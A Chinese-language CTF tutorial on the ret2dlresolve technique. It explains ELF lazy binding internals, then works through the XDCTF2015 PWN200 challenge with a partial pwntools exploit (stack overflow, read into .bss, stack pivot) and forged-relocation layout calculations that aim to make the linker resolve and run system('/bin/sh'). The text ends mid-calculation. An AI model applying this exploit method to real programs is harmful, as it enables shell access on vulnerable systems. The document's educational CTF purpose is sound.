Pwn-ret2dlresolve

Pwn-ret2dlresolve

pwn第11部分学习高级栈溢出Pwn-ret2dlresolve,重置版

pwn-ret2dlresolve

在学习 ret2dlresolve 之前需要先了解一些基础的底层知识。

知识点解析

动态延迟绑定

一、为什么需要"动态链接"?

在远古时代,程序是静态链接的。如果你在代码里写了一句 printf("hello"),编译器就会把整个 printf 函数的代码完完整整地拷贝到你的可执行文件里。

缺点:极其浪费磁盘和内存。如果 100 个程序都用了 printf,内存里就会有 100 份一模一样的 printf 代码。

为了解决这个问题,发明了动态链接库(比如 libc.so)。操作系统在内存里只保留一份 libc.so。谁想用 printf,就自己去 libc.so 里找。程序文件变得极小,内存也省下来了。

二、性能噩梦:为什么需要"延迟绑定"?

虽然动态链接省了空间,但带来了一个致命的性能问题:地址解析太慢了。

一个现代程序,就算只写了十几行代码,它底层依赖的动态库函数可能有成百上千个。如果程序每次刚一启动,操作系统就要跑去庞大的 libc 里,把这几千个函数的绝对地址全部找出来,一一填好(这叫"启动时全量绑定"),你会发现:程序启动会卡半天。

更气人的是,程序这次运行可能只执行了一个 if 分支,只用到了 3 个函数,剩下那 997 个函数的地址算是白找了。

为了解决这个性能噩梦,Linux 引入了延迟绑定(Lazy Binding)机制。

三、延迟绑定的核心哲学:极致的"拖延症"

延迟绑定(lazy binding):将符号地址解析推迟至函数首次调用时执行。PLT(只读代码段)保存跳转桩,GOT(可写数据段)保存解析结果。首次调用时 GOT 槽位值为指回 PLT 桩的地址,执行流经 push reloc_arg; jmp PLT0 进入 _dl_runtime_resolve,由 _dl_fixup 解析符号并将真实地址写回 GOT 槽;后续调用经 GOT 直接跳转目标函数。

为了实现这种"拖延",系统设计了 PLT(代码段,只读)和 GOT(数据段,可写)两张表:

  1. 第一次调用函数时: 程序去 GOT 表里拿地址,发现 GOT 表里写的根本不是真实的函数地址,而是一串"退回 PLT 表"的代码地址。 程序顺着指引退回 PLT 表,PLT 表里放着一段特殊的汇编指令,也就是 push reloc_arg; jmp PLT[0]。 这步操作唤醒了沉睡的档案员(_dl_runtime_resolve),它拿着你给的号牌(reloc_arg),吭哧吭哧去系统表里查出了真实的函数地址。 关键动作:档案员把查到的真实地址,永久地写进 GOT 表里,然后去执行函数。
  2. 第二次(以及之后所有)调用该函数时: 程序再次去 GOT 表里拿地址。 因为第一次调用时档案员已经把真实地址写进去了,这一次,程序直接拿到真实地址,瞬间跳转执行。再也不用麻烦档案员了。

ret2dlresolve 核心 - GOT & PLT

可以看看这个师傅的介绍

Pwn基础:PLT&GOT表以及延迟绑定机制-腾讯云开发者社区-腾讯云

全局偏移表(Global Offset Table,GOT)和过程链接表(Procedure Linkage Table,PLT)。

  • GOT 表 (Global Offset Table):
    全局偏移表在ELF文件中以独立的节区存在,共包含两类,对应的节区名为.got和.got.plt,其中,.got存放所有对于外部变量引用的地址;.got.plt保存所有对于外部函数引用的地址,对于延迟绑定主要使用.got.plt表。.got.plt表的基本结构如下图所示,PLT像是一个代码中转站,里面全是一行行的汇编指令。你可以把它理解为公司的前台接待员。
点击放大,点击空白处返回
点击放大,点击空白处返回
  • PLT 表 (Procedure Linkage Table):
  • 过程链接表 为了实现延迟绑定,当调用外部模块的函数时,程序并不会直接通过GOT跳转,而是通过存储在PLT表中的特定表项进行跳转。对于所有的外部函数,在PLT表中都会有一个相应的项,其中每个表项都保存了16字节的代码,用于调用一个具体的函数。
  • .got.plt 段内的函数指针数组,延迟绑定下充当解析结果缓存。里面存的是真正的内存地址数据。你可以把它理解为公司的员工通讯录。
    名称角色关联表项
    PLT0公共总台:备齐 (link_map, reloc_arg) 两参数、送进 resolverGOT1(link_map)、GOT2(resolver)
    PLTn 桩(.plt)未解析代办处:push 号牌 n、回总台第 n 行 Rel(a)(号牌 = 行号/偏移)
    .plt.sec 门已解析直通:jmp *GOTn第 n 个 GOT 槽

GOT 表的真实物理结构

  • GOT0(通讯录封面):存放着 .dynamic 段的地址。动态链接器通过它能找到当前程序所有动态链接相关的配置信息。
  • GOT1(公司营业执照):存放着 link_map 结构体的指针,运行时由 ld.so 写入。还记得 0 号总台(plt0操作)压入栈的那个"本模块 ID"吗?就是它!它包含了当前 ELF 文件的所有内存映射信息。
    GOT2(档案管理员的专线电话):存放着 _dl_runtime_resolve 函数自身的入口地址,运行时由 ld.so 写入——即 PLT0 jmp GOT+8 的目标。系统要开始查表找真实地址时,底层就是通过跳到 GOT2 里存的这个地址,把档案管理员唤醒的。_dl_runtime_resolve:动态链接器里的核心解析函数。你可以把它理解为无所不知的档案管理员。
  • GOT3 及其之后:普通员工的工位。各函数槽位。初始值指向对应 PLT 桩的 push reloc_arg 处,首次解析后被覆写为 libc 真实地址。从 GOT3 开始,才是真正留给程序里调用的外部函数(比如 puts, printf, read, system 等)存放真实内存地址的地方。

就先初步分析一下一个简单的例子带入到ret2dlresolve吧。


一个简单的程序

c
#include <stdio.h>

int main(int argc, char *argv[])
{
    printf("Hello World!\n");
    return 0;
}
点击放大,点击空白处返回
点击放大,点击空白处返回

我们先断点 main 函数然后到 call puts 时候 si 进去看看程序的运行。

可以看到第一次调用 puts 的时候,跳转到的 0x804c010(puts@got)存储的地址是 0x08049056。在程序刚启动的时候,编译器就提前写好了一个值【puts@plt+6】(如果解析之后就是替换为puts地址),就是 plt 的下一条指令。在第一次调用的时候你也可以忽略 jmp 这个部分直接看下一部分。

push 8 是 reloc_arg(和.rel.plt有关系后面会提到,就当作一个号码牌) 的偏移量,相当于拿到了房卡。

asm
Jmp 0x8049030   跳转到 PLT[0] 总台
push dword ptr [_GLOBAL_OFFSET_TABLE_+4] 将 link_map 压入栈中

link_map:glibc 动态链接器(ld.so)为每个已加载的 ELF 对象(主程序、各共享库、ld.so 自身)维护的运行时内部描述结构,定义于 glibc/include/link.h(内部版本,非公开 <link.h>)。可理解为:.dynamic 段解析后的运行时形态 + 加载器簿记信息。

通俗的解释

link_map 的真实身份:动态链接器的"花名册"。

在 Linux 操作系统中,当你运行一个程序时,内存里不仅仅只有你的主程序,还有它依赖的各种共享库(比如 libc.so, ld-linux.so 等)。 为了管理这些散落在内存各处的模块,动态链接器(ld.so)在内部维护了一个双向链表。这个链表上的每一个节点,就是一个 link_map 结构体。内存里加载了多少个 ELF 文件(主程序 + 所有的 .so 库),就有多少个 link_map 结构体。

还记得我们之前拆解的汇编吗?

c
push [0x804c004]    (这其实就是 push GOT[1],把本程序的 link_map 指针压栈)
jmp  [0x804c008]    (跳去调用 _dl_runtime_resolve)
c
struct link_map {
    l_addr         // 模块的加载基址
    l_name         // 文件路径字符串
    l_ld           // 指向本模块 .dynamic 段的指针  ← 关键
    l_next/l_prev  // 链表的下一/上一个模块
    ...
    l_info[DT_*]   // 一堆索引,其中就有:
        DT_JMPREL  → .rel.plt 地址
        DT_SYMTAB  → .dynsym 地址
        DT_STRTAB  → .dynstr 地址
        DT_HASH    → 符号哈希表
};

l_info 元素为 ElfW(Dyn)*,需经 d_un.d_ptr 二级取址;字段偏移随 glibc 版本变化,实测以 gdb 为准。

当系统唤醒档案管理员(_dl_runtime_resolve)时,管理员其实是一脸懵的:

"我是谁?我在哪?是谁按了呼叫铃?你要我帮哪个程序查函数?"

因此,PLT0 必须把当前程序的 link_map 压入栈中。这相当于告诉管理员:

"你好,我是主程序模块(link_map),请你拿着我的内部结构图(l_info 里的表地址),再配合这个号牌(reloc_arg),去帮我找个人。"

管理员拿到 link_map 后,才能顺藤摸瓜找到当前程序的真正的 .rel.plt 表在哪里,然后才能执行那个致命的公式:.rel.plt 基址 + reloc_arg。


dl_runtime_resolve —— "中转站"

_dl_runtime_resolve:glibc 动态链接器(ld.so)中的延迟绑定蹦床函数(trampoline),位于 sysdeps/x86_64/dl-trampoline.S(i386 对应 sysdeps/i386/dl-trampoline.S)。它是PLT0 jmp [GOT+2]的目标,职责:保存调用现场 → 调用 _dl_fixup 完成符号解析 → 恢复现场 → 将控制流转移到解析出的函数地址。

可以看出在 _dl_runtime_resolve 这个函数过程中是下面这些方面:它是"中转站",真正查表找地址在 _dl_fixup,而它负责"把人安全送到站"。它做 5 件事:

c
① 保存现场    push eax / ecx / edx
② 取参数      mov edx,[esp+0x10]   ← reloc_index
             mov eax,[esp+0xc]    ← link_map
③ 干活        call _dl_fixup       ← 真正解析,返回地址放 eax
④ 恢复现场     pop edx / pop ecx / pop eax
⑤ 送走        mov [esp],eax ; ret $0xc → 跳进解析出的函数
点击放大,点击空白处返回
点击放大,点击空白处返回

进入到了 _dl_fixup

c
_dl_fixup (link_map *l, Word reloc_offset)   // 参数:link_map + reloc_index
{
    symtab  = l->l_info[DT_SYMTAB];     // 1. 取 .dynsym 地址
    strtab  = l->l_info[DT_STRTAB];     // 2. 取 .dynstr 地址
    reloc   = l->l_info[DT_JMPREL] + reloc_offset;  // 3. ★ reloc = .rel.plt + 偏移
    sym     = &symtab[ reloc->r_info >> 8 ];        // 4. ★ sym = .dynsym + 索引*16
    rel_addr = reloc->r_offset;                     // 5. ★ 结果写到哪
    value   = _dl_lookup_symbol_x(strtab + sym->st_name, ...);  // 6. ★ 按名字查库
    *rel_addr = value;                              // 7. 写回 GOT
    return value;
}

.rel.plt(DT_JMPREL)——重定位表(任务派发单柜)

.rel.plt节(Relocation Procedure Linkage Table)是ELF文件中用于存储函数重定位信息的节区。它专门处理外部函数调用的重定位,与处理数据重定位的.rel.dyn节相对应。该节与.plt(过程链接表)和.got.plt(过程链接表的全局偏移表)紧密配合,实现函数调用的延迟绑定机制。他和ELf_Rel的关系就是数组和元素的关系

.rel.plt节由Elf32_Rel或Elf64_Rel结构体数组组成,具体结构如下:

c
// 32位系统结构
typedef struct {
    Elf32_Addr r_offset;  // 重定位入口的偏移量(GOT表项地址)
    Elf32_Word r_info;    // 重定位类型和符号表索引
} Elf32_Rel;

// 64位系统结构(如果有addend字段)
typedef struct {
    Elf64_Addr  r_offset;  // 重定位入口的偏移量
    Elf64_Xword r_info;    // 重定位类型和符号表索引
    Elf64_Sxword r_addend; // 加数
} Elf64_Rela;

举个例子

程序第一次调用 read 时,链接器查出 read 的地址——该写进哪个 GOT 格子? 又凭什么知道要查的名字是 "read"?

"名字"和"格子"的配对必须链接期写死在文件里。链接器给每个延迟绑定的 外部函数生成一套"三件套"(以 read 为例):

c
① PLT 条目:  push 0x10; jmp PLT0     ← 调用入口(0x10 = 它在rel.plt柜子里的字节偏移)
② GOT 槽:    0x0804c01c              ← 将来放真实地址的格子
③ Elf32_Rel: r_offset = 0x0804c01c   ← "解析结果写进②号格子"
             r_info  = (下标<<8)|7   ← "查 .dynsym 第 5 号档案"

③就是 Elf32_Rel(任务派发单,下一小节细讲)。所有函数的单子按PLT 条目顺序一张挨一张排好——这一整排单子,就是 .rel.plt 段。

它的三个关键性质:

  1. 链接期生成,内容永不改变——运行期变的是各 GOT 格子里的值,不是这张表;
  2. 行数 = PLT 条目数——PWN200 一共 4 行 × 8 字节 = 0x18 字节, 远小于 reloc_arg 能表达的偏移范围,这就是越界攻击的物理空间;
  3. 柜子的位置登记在 .dynamic 段的 DT_JMPREL 条目里,加载时被读进 link_map 的 l_info ——管理员查表用的"基址"就是从这来的。

查询命令(0x06 布局里 0x08048380 的正式出处):

bash
readelf -d pwn200 | grep -E "JMPREL|PLTRELSZ"
# JMPREL    0x8048380   ← .rel.plt 基址(柜子从哪开始)
# PLTRELSZ  0x18        ← 表总字节数(几行 × 8字节/行)

32 位 vs 64 位:32 位这张表叫 .rel.plt,表项 8 字节 Elf32_Rel; 64 位叫 .rela.plt,表项 24 字节 Elf64_Rela(多一个 r_addend 字段, 伪造时填 0)。后文 x64 章的"四判据"里,24 这个数字还会再次登场。


Elf32/64_Rel重定位表项 —— "任务派发单"

Elf32_Rel / Elf64_Rela 是_dl_fixup解析单个函数时直接操作的数据单元:Relocation Entry(重定位表项)——描述“一次地址修补”的最小结构:写入位置(r_offset)与解析依据(r_info)。

Elf32/64_Rel 全称是 Relocation Entry(重定位表项)。它是 ELF 可执行文件中用于指导动态链接器"如何修改代码或数据"的核心结构体。 这张"任务派发单"里只写了两件事,对应它的两个字段:

c
typedef struct {
    Elf32_Addr  r_offset;   /* 4B:重定位写入目标的虚拟地址 */
    Elf32_Word  r_info;     /* 4B:ELF32_R_SYM = r_info >> 8
                                ELF32_R_TYPE = r_info & 0xff  */
} Elf32_Rel;                /* 共 8 字节 */

typedef struct {
    Elf64_Addr   r_offset;  /* 8B */
    Elf64_Xword  r_info;    /* 8B:ELF64_R_SYM = r_info >> 32
                                ELF64_R_TYPE = r_info & 0xffffffff */
    Elf64_Sxword r_addend;  /* 8B:显式加数,JMP_SLOT 场景恒为 0 */
} Elf64_Rela;               /* 共 24 字节 */
1. r_offset(重定位目标 / 收货地址)

保存一个虚拟地址:指定本次重定位“把解析结果写到哪”

它保存的是一个绝对内存地址。在函数延迟绑定的场景中,这个地址指向的就是目标函数对应的 GOT 表项的地址(例如 GOT3 的地址)。当 _dl_fixup 查出真实的函数地址后,系统会强制将该真实地址覆写到r_offset所指向的内存空间中。

x32x64
字段宽度4B8B
写回单位4 字节(mov r_offset, ax)8 字节(mov r_offset, rax)

查到之后填在哪?(收货地址) 动态链接器费尽千辛万苦去 libc 里查到了真实的函数地址(比如 puts 的地址),查完之后它不能把地址直接扔掉,它必须把这个地址写回到内存里的某个地方。 正常情况:r_offset 里填写的正是咱们之前聊过的 GOT 表项的绝对地址(比如 GOT3 的地址)。系统查到地址后,会直接覆盖写入这里,完成所谓的"动态绑定"。

.rel.plt/.rela.plt 这个表里存放着一堆连续的 Elf32/64_Rel 结构体。档案管理员拿到 reloc_arg 后,做的第一件事就是做加法:

text
x32:Rel  地址 = DT_JMPREL + reloc_arg        (reloc_arg = 字节偏移,须 %8 == 0)
x64:Rela 地址 = DT_JMPREL + reloc_arg × 24   (reloc_arg = 索引,×24 在 _dl_fixup 内部完成)

管理员通过这个加法,越界拿到了这张"任务单"(Elf32/64_Rel),然后再根据任务单上的r_info去找.dynsym,最后根据 .dynsym 里的 st_name 去找.dynstr里的字符串。

2. r_info

复合字段,两个子域由宏拆解(elf(5) / System V ABI):

这个字段是一个复合数据,它把两块信息压缩在了一个 32 位的数字里:

  • 符号表索引(高位):x32 占高 24 位,x64 占高 32 位。 _dl_fixup 拿到表项后先做此移位得到下标,再访问 .dynsym[index]——即到档案柜里取第 N 份档案。它告诉管理员:"去 .dynsym(档案柜)里找第几个结构体"。 这就是为什么 _dl_fixup 拿到这个表项后,会立刻通过 r_info >> 8/ r_info >> 32算出一个下标,然后去访问 .dynsym。
  • 重定位类型(低位):x32 占低 8 位,x64 占低 32 位。延迟绑定场景必须为 7(R_386_JMP_SLOT / R_X86_64_JUMP_SLOT),语义为“解析符号真实地址并写入 GOT 槽”。_dl_fixup 入口断言该值,不为 7 即终止进程——踩坑记录中的那次崩溃正是此处。
    它告诉系统要做什么类型的处理。对于外部函数调用,这个值固定是 0x07(代表 R_386_JMP_SLOT),意思是"查出真实的函数地址"。

dy


.dynsym节(DT_SYMTAB)字符串表 —— "员工档案柜"

.dynsym:ELF 的动态符号表(Dynamic Symbol Table),节类型 SHT_DYNSYM,内容为 Elf32_Sym / Elf64_Sym 结构体数组。它只收录动态链接所需的最小符号集(从 .symtab 中筛出的导入/导出符号)

c
/* Elf32_Sym — 16 字节 */            /* Elf64_Sym — 24 字节 */
typedef struct {                      typedef struct {
    Elf32_Word  st_name;   /* 4 */        Elf64_Word   st_name;   /* 4  */
    Elf32_Addr  st_value;  /* 4 */        unsigned char st_info;   /* 1  */
    Elf32_Word  st_size;   /* 4 */        unsigned char st_other;  /* 1  */
    unsigned char st_info; /* 1 */        Elf64_Half   st_shndx;   /* 2  */
    unsigned char st_other;/* 1 */        Elf64_Addr   st_value;   /* 8  */
    Elf32_Half  st_shndx;  /* 2 */        Elf64_Xword  st_size;    /* 8  */
} Elf32_Sym;                          } Elf64_Sym;
                                     /* 注意:32/64 位字段顺序不同 */

虽然有了.dynstr字典,但系统不可能去字典里从头到尾瞎比对字符串。它需要一个有索引、有条理的"档案柜",这就是 .dynsym。

  • 长什么样:它是一个结构体数组。里面的每一个元素,都是一个名为 Elf32_Sym 的结构体
  • 结构体大小:在 32 位系统下,每一个 Elf32_Sym 结构体的大小严格等于 16 字节。在x64系统下是严格24字节
  • 它的核心作用:它把程序里用到的所有外部函数信息,整齐划一地封装了起来。在这个 16 字节的结构体里,最重要的一个字段就是 st_name。
  • st_name 是什么:它就是一个数字,代表着这个函数的名字在 .dynstr(字符串表)中的偏移量。

Elf32/64_Sym —— "花名册里的一页"

Elf32_Sym / Elf64_Sym:ELF 符号表项(Symbol Table Entry)结构类型,SHT_SYMTAB / SHT_DYNSYM 符号表的元素。

职责:描述“一个符号”(函数/变量的名片)

叫什么名字(st_name)、有什么属性(st_info/st_other)、定义在哪(st_value/st_shndx)。

.dynsym(动态符号表)是一本庞大的"公共花名册"。那么,Elf32/64_Sym 就是这本花名册里的"单独一页员工档案"。 .dynsym 这张表,本质上就是由成百上千个连续的Elf32/64_Sym结构体紧紧挨在一起组成的数组。

在 32 /64 位 Linux 架构下,一个 ElfXX_Sym 结构体的大小极其严格,它的底层 C 语言定义长这样:

c
typedef struct {
    Elf32_Word    st_name;    /* 4B:符号名在 .dynstr 中的字节偏移 */
    Elf32_Addr    st_value;   /* 4B:符号地址/值 */
    Elf32_Word    st_size;    /* 4B:符号大小 */
    unsigned char st_info;    /* 1B:绑定属性 << 4 | 符号类型 */
    unsigned char st_other;   /* 1B:可见性 */
    Elf32_Half    st_shndx;   /* 2B:所属节索引 */
} Elf32_Sym;                  /* 16 字节 */

typedef struct {
    Elf64_Word    st_name;    /* 4B */
    unsigned char st_info;    /* 1B */
    unsigned char st_other;   /* 1B */
    Elf64_Half    st_shndx;   /* 2B */
    Elf64_Addr    st_value;   /* 8B */
    Elf64_Xword   st_size;    /* 8B */
} Elf64_Sym;                  /* 24 字节 —— 字段顺序与 x32 不同 */
字段语义伪造时的取值
st_name符号名在 .dynstr 的偏移;0 = 无名指向自带字符串 "system\0"
st_value符号地址(仅导出符号有意义;导入符号为 0)0
st_size符号大小0
st_info高 4 位绑定(STB_GLOBAL=1)+ 低 4 位类型(STT_FUNC=2)→ 0x120x12
st_other可见性低 2 位:STV_DEFAULT=0;非 0 时 _dl_fixup 跳过符号查找,直接取 l_addr + st_value必须 0(常规路线)
st_shndx定义所在节的索引;SHN_UNDEF=0 = 未定义(导入符号)0

所以我们在铺设的时候也需要填充这些数值,把Addr和Word直接填充为0,然后st_info默认写0x12声明全局变量

各字段含义

字段含义
st_name符号名在 .dynstr 中的字节偏移(节头的 sh_link 指向 .dynstr,elf(5))
st_value / st_size符号地址 / 大小(导入符号在本模块中为 0)
st_infoELF32_ST_INFO(bind, type);如 0x12 = STB_GLOBAL<<4 | STT_FUNC
st_other可见性;ST_VISIBILITY(st_other)==0 时 _dl_fixup 走常规解析路径
st_shndx所属节索引(导入符号为 SHN_UNDEF=0)

延迟绑定中的用途

_dl_fixup第二跳

c
sym_index = ELF32_R_SYM(r_info) = r_info >> 8          (x32)
sym_index = ELF64_R_SYM(r_info) = r_info >> 32         (x64)
sym       = DT_SYMTAB + sym_index × 16/24              → ElfXX_Sym
name      = DT_STRTAB + sym->st_name                   → 符号名字符串

.dynstr(DT_STRTAB) (Dynamic String Table):动态字符串表 —— “纯文本字典”"纯文本字典"

这是最简单粗暴的一个表,它本质上就是一块连续的内存空间,里面挤满了用 \0(空字符)分隔的纯文本字符串。

  • 长什么样:你可以把它想象成一长串没有排版的文字,比如 \0printf\0puts\0read\0__libc_start_main\0system\0。
  • 它的作用:它不包含任何逻辑或结构体,纯粹就是一个"名字仓库"。
  • 如何使用它:系统怎么在这个仓库里找到想要的名字呢?靠的是偏移量(Offset)。比如,如果 .dynstr 的基地址是 0x08048200,而 puts\0 刚好排在这个仓库的第 10 个字节处,那么 puts 这个字符串的偏移量就是 10。系统只要访问 0x08048200 + 10,就能完整读出 puts 这个词。

_dl_fixup 是如何将这两张表串联起来的?

现在,我们把前面的知识全部串起来,看看档案管理员(_dl_fixup)是如何通过你传入的 reloc_arg,在两张表之间跳跃的:

  1. 拿号牌找重定位表(rel.plt):管理员拿到 reloc_arg,在 .rel.plt 表中找到了对应的 Elf32_Rel 结构体。
  2. 获取档案编号:管理员读取 ElfXX_Rel 中的 r_info 字段。他将 r_info 的高 24 位提取出来,这就得到了一个数组索引下标(比如索引是 5)。
  3. 翻阅档案柜 (.dynsym):管理员拿着下标 5,去 .dynsym(符号表)里找第 5 个 Elf32_Sym 结构体。底层的数学计算就是:.dynsym 基址 + 5 * 16 字节。(这就是为什么我们在伪造它时,必须严格保证 16 字节对齐的原因!)
  4. 拿到名字偏移量:管理员打开了这个结构体,读取了里面的 st_name 字段(比如读出来是 10)。
  5. 查字典 (.dynstr):管理员拿着偏移量 10,直接去 .dynstr(字符串表)里一查,底层计算:.dynstr 基址 + 10。
  6. 真相大白:指针刚好落在了 puts\0 这个字符串上!最后,管理员拿着 puts 这个名字,去 libc 里寻找真正的内存地址。

至此 call 函数调用流程如下(已经闭环了)。

点击放大,点击空白处返回
点击放大,点击空白处返回

ret2dlresolve32——XD2015-PWN200

程序源码

c
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}

int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

使用以下语句进行编译:$ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c


0x01 程序分析

RELRO 表示延迟绑定开启。

点击放大,点击空白处返回
点击放大,点击空白处返回

引用函数里没有 system,程序里也没有 /bin/sh 字符串,所以这题并没有常规的 ret2shellcode 这些。继续分析程序的结构:

点击放大,点击空白处返回
点击放大,点击空白处返回
点击放大,点击空白处返回
点击放大,点击空白处返回
text
导入表没有 system
程序里没有 /bin/sh 字符串
题目没给你 libc → ASLR 下算不出任何函数地址
→ 传统 ret2libc 走不通
→ 唯一的出路:让链接器自己替我们解析出 system = ret2dlresolve

0x02 函数分析

观察一下漏洞函数。

点击放大,点击空白处返回
点击放大,点击空白处返回

出现了栈溢出,看看 .bss 段有没有合适的位置去写东西,查看 IDA 可以发现 bss 开始是在 0x0804C028。

点击放大,点击空白处返回
点击放大,点击空白处返回

那我们就选写入就从 bss+0x800 开始吧。原因是:system 被调用后,它自己会往栈里压东西——esp 从 base 附近往低地址走(走大约 0x350 字节):

c
情况 A:base = 0x0804c828(我们的选择)
esp 从 0x0804c828 开始,压 0x350 字节:
  0x0804c828 - 0x350 = 0x0804c4d8
  0x0804c4d8 > 0x0804c000   ← 还在可写页里 ✓

情况 B:base = 0x0804c028(bss 本身)
esp 从 0x0804c028 开始,压 0x350 字节:
  0x0804c028 - 0x350 = 0x0804bcd8
  0x0804bcd8 < 0x0804c000   ← 掉进只读页了 ✗ 崩溃

所以选 base = bss + 0x800 = 0x0804c828。

扩充一下为什么选择bss+0x800作为地址,有以下3个标准

x32落点约定

落点选择的三条半标准:

1.确认RW的上/下限,不能超越内存rw的范围,从图中可以发现的是0x804d000是rw的结束,0x804c000是rw的开头(即使他并不是bss段的开头)

2.在选择放置位置的时候先计算system申请之后的栈空间(栈向低地址生长)是否具有RW权限。base − 0x350(system 调用链实测深度,栈向低地址生长)≥ 0x0804c000,否则写入只读页崩溃。

3.附加筛选位置是号码牌(reloc_args)位置地址需要符合求余8为整数,也就是rel+num之后需要符合reloc_args条件z,reloc_arg = 假Rel地址 − JMPREL 必须÷8 == 0(等价于假 Rel 地址 8 字节对齐),否则读出错位垃圾,r_info 类型位 ≠ 7,触发 dl-runtime.c 断言。

bss+0x800 = 0x0804c828 四条全过,且深度余量 0x4D8


0x03 攻击原理

程序在调用第一次 call write@plt 的时候就是通过 push 0x20 设置 reloc_index,ret2dlresolve 的核心就是通过设置 reloc_index 和伪造 Elf32_Rel 等参数,去让 libc 吐出我们需要执行的 system。

链接器正常逻辑:.rel.plt + 0x20 = write 的重定位项 → 按名字 "write" 找地址。

我们故意塞一个超大的 reloc_index,大到加完正好落在 .bss 里我们伪造的数据上:

c
正常: .rel.plt + write 的偏移(0x20) = 真·write 项
攻击: .rel.plt + 号牌(待 0x06 计算) = 假 Rel 地址    ← 落在 .bss,我们写的东西

落点地址  =  base + 布局偏移      —— 位置是我们排布局时"选"的
号牌     = 落点地址 − DT_JMPREL   —— 数值是我们"反算"的
这个加法是机器做的,"偏移量"是我们造的,它不校验。

链接器接着会做什么(全自动):

c
拿到的"重定位项"里有两个字段:
  ① r_info  → 带我们去 bss 里伪造的"符号项"
  ② 符号项  → 带我们去 bss 里伪造的名字字符串
名字字符串写着 "system"

→ 链接器:哦,要解析 "system" → 去 libc 按名字找到 system 的真实地址
→ 替我们执行 system("/bin/sh") → 拿 shell

关键点:我们全程不知道 system 的地址,是链接器帮我们找到并执行的。

整体结构(先有个地图):

c
第一段(栈上,触发挥发):
  溢出 → 调 read(0, base, 0x300) 把第二段读进 bss → 栈迁移到 base

第二段(bss 里 base 处的伪造数据):
  [跳 PLT[0] 的框架] + [伪造 reloc_index] + [伪造 Elf32_Rel]
  + [伪造 Elf32_Sym] + "system" + "/bin/sh"
点击放大,点击空白处返回
点击放大,点击空白处返回

0x04 第一部分 payload 写入

python
from pwn import *
context(os = 'linux',arch = 'i386')
r        = process('./pwn200')

# 这个数据用于将 read 重复复用,用于将 payload 传入 bss+0x800 段,
# 也就是 payload_2 的内容
elf      = ELF('./pwn200')
read_plt = elf.plt['read']
base     = 0x0804C028 + 0x800
skip     = 0x0804901f #add esp,8; pop ebx; ret 
pivot    = 0x0804928b # pop ecx; pop ebx; pop edi; pop ebp; lea -4(%ecx),%esp; ret

#payload_1
offset     = 0x6c + 0x4
payload_1  = b'a'*offset
payload_1 += p32(read_plt)
payload_1 += p32(skip) #read_ret
payload_1 += p32(0)
payload_1 += p32(base)
payload_1 += p32(0x300)
payload_1 += p32(pivot)
payload_1 += p32(base+4)            # pop ecx
payload_1 += p32(0)*3               # pop ebx/edi/ebp
r.send(payload_1)

0x05 payload_2 信息收集写入

在写入之前我们先要获取一些必要的信息,比如 read 这个函数在 libc 的调用结构,也就是先看看程序他是怎么进行将 read 给解析出来的,然后我们再行仿造。

read 函数 plt

shell
objdump -d -j .plt pwn200
点击放大,点击空白处返回
点击放大,点击空白处返回

观察可以发现 reloc_index = 0x10,然后 plt0 地址是 0x8049030。


Dynsym 和 dynstr

收集一下 dynsym 和 dynstr 的信息吧。

还记得 dynsym 的作用吗?

c
① .rel.plt + reloc_index      → Elf32_Rel    → 读出 r_info
② .dynsym + 符号编号×16        → Elf32_Sym    → 读出 st_name
③ .dynstr + st_name           → 函数名字符串  → 读出 "write"
④ 拿这个名字去 libc 里搜

为什么要这两个地址?因为我们骗解析器走这条链,但把第 ②③ 步的"指向"换成我们的:

shell
② 我们让符号编号指向 bss 里的假 Elf32_Sym
   → r_sym = (假Sym地址 - .dynsym) // 16     ← 公式2 要用 .dynsym
③ 我们让假 Sym 的 st_name 指向 bss 里的 "system"
   → st_name = "system"地址 - .dynstr       ← 公式3 要用 .dynstr

关键:我们的 "system" 字符串在 bss,不在 .dynstr。但解析器只会用 .dynstr + st_name 这个公式找。所以 st_name 我们算成 system地址 - .dynstr——解析器一加,正好落在我们的 system 上。它不检查字符串是否真的在 .dynstr 里。

查询命令:

shell
readelf -S pwn200 | grep -E "rel\.plt|dynsym|dynstr|\.plt |\.bss"
点击放大,点击空白处返回
点击放大,点击空白处返回

0x06 布局与公式计算

再伪造 reloc_index 之前我们首先要放的是 payload 的位置,也就是先把结构安排好了再回头进行计算,因为 reloc_index 是通过公式算出来的。

可以看到 Elf32_Rel 铺路到了 base+0x10 这个地方。那 reloc_index 的计算就是 伪造Rel地址 - 0x08048380 = 0x44b8。

c
.rel.plt = 0x08048380   → 公式① reloc_index = 伪造Rel地址 - 0x08048380
.dynsym  = 0x0804820c   → 公式② r_sym = (伪造Sym地址 - 0x0804820c) // 16
.dynstr  = 0x080482ac   → 公式③ st_name = "system"地址 - 0x080482ac
.bss     = 0x0804c028   → base = 0x0804c028 + 0x800 = 0x0804c828(伪造数据区)

第一版布局:

c
[base+0x00] PLT[0]              ← eip 弹这
[base+0x04] reloc_index         ← 解析器读这
[base+0x08] 返回地址(随便)
[base+0x0c] /bin/sh 指针
[base+0x10] 假 Elf32_Rel        ← 8字节
[base+0x18] 假 Elf32_Sym        ← 16字节(要对齐,稍后细讲)
[base+0x28] "system\0"
[base+0x30] "/bin/sh\0"

对齐问题

下一步算 r_info,不过得先算 r_sym(假 Sym 的索引)。

因为我们当前的 Elf32_Sym 位置只是按顺序放置的,但是 Elf32_Sym 结构体的底层数学计算就是:.dynsym 基址 + 5 * 16 字节。(这就是为什么我们在伪造它时,必须严格保证 16 字节对齐的原因!)

当前的 fake_sym_addr = base + 0x18 = 0x0804c840

shell
0x0804c840 - 0x0804820c = 0x4644
算除法。十六进制除以 16 = 右移一位:
0x4644 // 0x10 = 0x464  余 4     ← 余数 4,不是整数!

解析器是这么算假 Sym 地址的:sym = .dynsym + 索引×16。 如果索引带余数,解析器只能取 0x464,落点就是:

shell
假 Sym 必须满足:(假Sym地址 - .dynsym) % 16 == 0   (地址能被 16 整除)

对齐:把假 Sym 从 0x18 挪到 0x24

text
base - dynsym = 0x0804c828 - 0x0804820c = 0x461c
0x461c % 16 = 12     (结尾 c = 12)

要余 0,假 Sym 的偏移得结尾是 4(12 + 4 = 16 → 进位归 0)。从 0x18 往后找结尾是 4 的第一个数 → 0x24。

再次计算:

text
fake_sym_addr = base + 0x24 = 0x0804c84c
